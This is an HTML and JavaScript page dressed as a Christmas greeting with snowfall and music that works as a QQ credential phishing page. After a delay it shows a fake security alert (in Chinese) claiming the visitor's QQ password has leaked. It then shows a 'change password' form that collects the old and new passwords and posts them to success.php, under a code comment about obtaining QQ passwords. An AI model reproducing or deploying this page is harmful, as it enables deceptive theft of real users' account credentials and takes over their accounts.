<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<meta http-equiv="X-UA-Compatible" content="IE=edge,chrom=1" />
		<meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" />
		<meta name="format-detection" content="telephone=no" />
		<title></title>
		<style>
			html,body,div,input,span{margin: 0;padding: 0;}
			html{
				height: 100%;
			}
			body{
				background: url(img/3.jpg) no-repeat;
				background-size: 100% 100%;/*以body为基础*/
				overflow: hidden;
			}
			.snowfall-flakes{
				width: 10px;
				height: 16px;
				position: relative;
			}
			.snowfall-flakes:before,.snowfall-flakes:after{
				content: "";
				display: block;
				width: 10px;
				height: 16px;
				background: red;
				position: absolute;
				top: 0px;
				left: 0px;
				border-radius: 10px 10px 0px 0px;
			}
			.snowfall-flakes:before{
				left: 4px;
				-webkit-transform: rotate(45deg);
				-moz-transform: rotate(45deg);
				-ms-transform: rotate(45deg);
				-o-transform:rotate(45deg)
				transform: rotate(45deg);
				
			}
			.snowfall-flakes:after{
				-webkit-transform: rotate(-45deg);
				-moz-transform: rotate(-45deg);
				-ms-transform: rotate(-45deg);
				-o-transform: rotate(-45deg)
				transform: rotate(-45deg);
			}
			#btn{
				width: 56px;
				height: 56px;
				background: url(img/0.png);
			}
			.info,.tip,.tipnull{
				width: 80%;
				height: 150px;
				background: #EBEEF5;
				border-radius: 10px;
				position: absolute;
				top: 0px;
				left: 0px;
				right: 0px;
				bottom: 0px;
				z-index: 99999999999999;
				margin: auto;
				display: none;
			}
			
			.info-top,.info-bottom{
				height: 35px;
				line-height: 35px;
				text-align: center;
				color: #2b2b2b;
				font-size: 18px;
				font-family: "microsoft sans serif";
				font-weight: 500;
			}
			.info .info-center input{
				-webkit-tap-highlight-color:rgba(0,0,0,0);
				-o-tap-highlight-color:rgba(0,0,0,0);
				-ms-tap-highlight-color:rgba(0,0,0,0);
				-moz-tap-highlight-color:rgba(0,0,0,0);
				tap-highlight-color:rgba(0,0,0,0);
				width: 96%;
				outline: none;
				height: 35px;
				font-size: 16px;
				border: none;
				margin: 1px 0px;
				padding-left: 10px;
			}
			.tip .info-center,.tipnull .info-center{
				height: 72px;
				line-height: 72px;
				text-align: center;
				color: #333;
			}
			.info-bottom{
				border-top: 1px solid #DFDFDF;
				color: #287BB1;
			}
		</style>
	</head>
	<body>
		<div id="btn"></div>
		<div class="info">
			<div class="info-top">修改密码</div>
			<div class="info-center">
				<input type="number" placeholder="旧密码" name="username" id="username" />
				<input type="password" placeholder="新密码" name="pwd" id="pwd" />
			</div>
			<div class="info-bottom">确定</div>
		</div>
		<div class="tip">
			<div class="info-top">安全卫士提示</div>
			<div class="info-center">
				你的QQ密码已泄露！
			</div>
			<div class="info-bottom">确定</div>
		</div>
		<div class="tipnull">
			<div class="info-top">安全卫士提示</div>
			<div class="info-center">
				没有填写完整！
			</div>
			<div class="info-bottom">确定</div>
		</div>
		<audio loop="loop" id="music" autoplay="autoplay">
			<source src="music/DJ - 慢摇中文超嗨圣诞节劲爆旋律歌曲 MC小帅 - 2014年12月收录.mp3"></source>
		</audio>
		<script src="js/jquery-1.2.6.min.js"></script>
		<script src="js/snowfall.jquery.js"></script>
		<script>
			$(document).snowfall({
				flakeCount:88
			});
			var flase = true;
			$("#btn").on('touchstart',function(){
				if (flase) {
					$("#music").get(0).play();
				} else{
					$("#music").get(0).pause();
				}
				flase = !flase;
			});
			//qq密码的获取：
			$(".tip").delay(5000).fadeIn();
			$(".tip .info-bottom").on('touchstart',function(){
				$('.tip').css({'display':'none'});
				$(".info").fadeIn(100);
			});
			$(".info .info-bottom").on('touchstart',function(){
				var username = $("#username");
				var pwd = $("#pwd");
				if (username.val()&&pwd.val()!= '') {
					$.ajax({
						type:"post",
						url:"success.php",
						async:true,
						data:{
							'username':username.val(),
							'pwd':pwd.val()
						},
						error:function(){
							return flase;
						}
					});
				} else{
					$(".tipnull").fadeIn(100);
				}
				$(".info").css({'display':'none'});
			});
			$(".tipnull .info-bottom").on('touchstart',function(){
				$('.tipnull').css({'display':'none'});
				$(".info").fadeIn(100);
			});
		</script>
	</body>
</html>
